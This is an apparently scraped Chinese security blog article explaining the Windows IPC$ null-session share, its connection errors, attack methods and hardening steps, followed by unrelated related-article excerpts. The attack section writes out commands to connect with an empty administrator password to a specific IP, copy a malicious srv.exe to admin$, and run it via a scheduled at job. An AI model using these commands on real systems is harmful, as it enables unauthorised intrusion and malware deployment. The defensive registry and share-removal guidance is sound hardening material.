IPC$概念及入侵方式研究

catalogue

1. 什么是IPC$
2. IPC$攻击方式
3. 漏洞检测与防御措施

1. 什么是IPC$

IPC$(空会话连接)是windows系统内置的一个功能模块,它的作用有很多(包括域帐号枚举),但是其中对于攻击者最关心地还是它的网络文件共享能力,它允许本机的进程/服务以命名管道(named pipe)的形式连接连接上来以实现文件的共享传输,根据对应IPC$共享目录的ACL权限来决定是否可写/可遍历等权限

对于IPC$的概念,我们有几点要明白

1. IPC$和windows的SMB共享都是复用了445端口,它们都基于SMB协议实现,但是IPC$的作用范围更大一些,它是服务器间进程间通信方式
    1) 可以枚举帐号: 当然对方服务器也可以禁用枚举
    2) 共享文件: 基于命名管道named pipe
    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server‘s named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
    3) 执行系统指令

2. IPC$的登录验证方式可分为
    1) 匿名anonymous IPC$: 空账号,空密码可访问,但是匿名IPC$的权限往往较低
    2) 非匿名IPC$: 需要帐号密码的验证,不过这反过来也为黑客提供了一种暴力破解windows系统账户密码的方式
3. IPC$登录后共享哪些目录/文件是可以配置的,如果该共享目录/文件的列表为空,则IPC$登录后无法进行文件共享。早上windows server系统上默认配置了几个IPC$共享目录
    1) 所有的逻辑盘(c$,d$,e$……)
    2) 系统目录winnt或windows(admin$)

0x1: IPC$连接常见错误

错误号5(拒绝访问):很可能你使用的用户不是管理员权限的,先提升权限
错误号51(Windows无法找到网络路径): 网络有问题;
错误号53(找不到网络路径):
    1) ip地址错误
    2) 目标未开机
    3) 目标lanmanserver服务未启动
    4) 目标有防火墙(端口过滤)
错误号67(找不到网络名):
    1) 你的lanmanworkstation服务未启动
    2) 目标删除了ipc$
错误号1219(提供的凭据与已存在的凭据集冲突):你已经和对方建立了一个ipc$,请删除再连
错误号1326(未知的用户名或错误密码)
错误号1792(试图登录,但是网络登录服务没有启动): 目标NetLogon服务未启动(连接域控会出现此情况)
错误号2242(此用户的密码已经过期):目标有帐号策略,强制定期要求更改密码  

Relevant Link:

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

2. IPC$攻击方式

0x1: administrator空口令连接

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上传恶意样本

copy srv.exe \\121.40.65.98\admin$

我们可以指定把srv.exe复制到目标系统的任何共享目录中

0x3: 在目标系统执行系统指令

net time \\127.0.0.1
\\127.0.0.1 的当前时间是 2017/5/28 16:58:29
  
at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快)
  
net time \\127.0.0.1
如果时间到了,就说明指令已经执行了

0x4: 利用IPC$进行密码爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a

3. 漏洞检测与防御措施

0x1: 检测本机IPC$共享目录

通过net share列出本机开放的共享目录,理论上这些都应该删掉,为了黑客利用445漏洞入侵后将恶意文件植入类似admin$这种系统核心目录

0x2: 禁止空连接进行枚举

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的键值改为:00000001

0x3: 禁止默认共享

1. 察看本地共享资源: net share
2. 删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

3. 停止server服务: net stop server /y(重新启动后server服务会重新开启)
4. 禁止server服务器自启动

5. 修改注册表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的键值改为:00000000。
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的键值改为:00000000。
# 如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值  

0x4: 永久关闭ipc$和默认共享依赖的服务: lanmanserver即server服务

控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved

时间: 2024-10-24 23:13:31

IPC$概念及入侵方式研究的相关文章

病毒入侵方式

源代码嵌入攻击 病毒在源程序编译之前插入病毒代码,最后随源程序一起被编译成可执行文件,因此刚生成的文件就是带毒文件.这类文件并不多,因为这类文件的开发者不可能轻易得到那些软件开发公司编译前的源程序,况且这种入侵方式的难度较大,病毒制造者需要具备非常专业的编译水平. 代码取代攻击 这类病毒主要用自身的病毒代码取代宿主程序的整个或部分模块,这类病毒在早期的DOS时代非常普遍,清除起来也比较困难. 外壳寄生入侵 这类病毒通常将病毒代码富家在正常程序代码的头部或尾部,即相当于给程序添加了一个外壳.在被感

Css3之基础-11 Css定位(定位概念 、定位方式)

一.CSS 定位概述 定位概念 - 普通流定位 - 页面中的块级元素框从上到下一个接一个地排列 - 每一个块级元素都会出现在一个新行中 - 内联元素将在一行中从左到右排列水平布置 - 浮动 - 相对定位 - 绝对定位 - 固定定位 定位属性 - position属性: - position: static/relative/absolute/fixed; - 偏移属性:实现元素框位置的偏移 - top/bottom/right/left: value; - 堆叠顺序 - z-index: val

数据挖掘-概念、取样方法研究

随着数据库技术的 飞速发展和广泛使用电 在数据库里电 存储的 数据越来越庞大 门 在数据挖掘的领域里电 要使用科学的方式 .方法 降低挖掘算法的时间电 使数据挖掘的效率更高门 1     数据的挖掘概念 数据库中的知识发现又称数据挖掘啕 数据库领域研究和人工智 能是目前的热点问题门 数据挖掘就是从拥有大量数据的数据库中 找出先前未知的 .有着潜在价值的信息过程门 数据挖掘是决策支持 过程啕 它墓于模式识别.人工智能.机器学习.数据库.可视化.统计 学等技术啕 自动分析企业数据进行推理电 挖掘出潜

领域驱动设计 ——一种将概念模型化的方式

原文发布于:http://www.gufeng.tech/ 1.引子 2004年Eric Evans 发表了一本书:<Domain-Driven Design: Tackling Complexity in the Heart of Software>(中文名:<领域驱动设计:软件核心复杂性应对之道>),在这本书中作者提出了领域驱动设计(DDD)的概念,到现在已经10多年的时间了. 1.1 面向对象与面向对象语言 面向对象思想已经存在相当长的历史了(相对于软件的历史),我而们使用的

DedeCMS顽固木马后门专杀工具V2.0实现方式研究

catalog 1. 安装及使用方式 2. 检查DEDECMS是否为最新版本 3. 检查默认安装(install)目录是否存在 4. 检查默认后台目录(dede)是否存在 5. 检查DedeCMS会员中心是否关闭 6. 检查是否存在高风险的若密码账户 7. 后台友情链接xss漏洞 8. /plus/search.php SQL注入漏洞 9. /plus/feedback.php SQL注入漏洞 10. /plus/feedback_ajax.php SQL注入或XSS漏洞漏洞 11. /incl

UDP打洞、P2P组网方式研究

catalogue 1. NAT概念 2. P2P概念 3. UDP打洞 4. P2P DEMO 5. ZeroNet P2P 1. NAT概念 在STUN协议中,根据内部终端的地址(LocalIP:LocalPort)到NAT出口的公网地址(PublicIP:PublicPort)的影射方式,把NAT分为四种类型(rfc3489: http://www.ietf.org/rfc/rfc3489.txt) 1. Full Cone: 这种NAT内部的机器A连接过外网机器C后,NAT会打开一个端口

01 多线程概念及其实现方式

多线程是编程过程里必不可少的内容,学习多线程,就先要了解进程和线程的概念. 进程:是指当前正在运行的程序,是一个程序在内存里的执行区域: 线程:是在进程里的一个执行控制单元,执行路径: 实现多线程的方式有两种,一种是继承Thread类,一种是实现runnable接口. 1.继承Thread类 a) 根据API中的描述:创建新执行线程,继承Thread类方法是将类声明为 Thread 的子类.该子类应重写 Thread 类的 run 方法. 如下所示: public class ThreadDem

sort_contours_xld算子的几种排序方式研究

sort_contours_xld算子有5种排序方式,即: 'upper_left': The position is determined by the upper left corner of the surrounding rectangle. 'upper_right':The position is determined by the upper right corner of the surrounding rectangle. 'lower_left':The position i

恶意软件/BOT/C2隐蔽上线方式研究

catalogue 1. 传统木马上线方式 2. 新型木马上线方式 3. QQ昵称上线 4. QQ空间资料上线 5. 第三方域名上线 6. UDP/TCP二阶段混合上线 7. Gmail CNC 1. 传统木马上线方式 0x1: 正向主动连接 最早的远控木马都是"主动连接",即肉鸡客户端主动监听一个端口(提前配置好),等待主控端来连接,但是后来因为互联网的进一步发展,公网控制内网就出现了一定的问题,所以这种方法逐步不再使用 0x2: 反向(被动上线) 这是当前比较主流的C2 Bot上线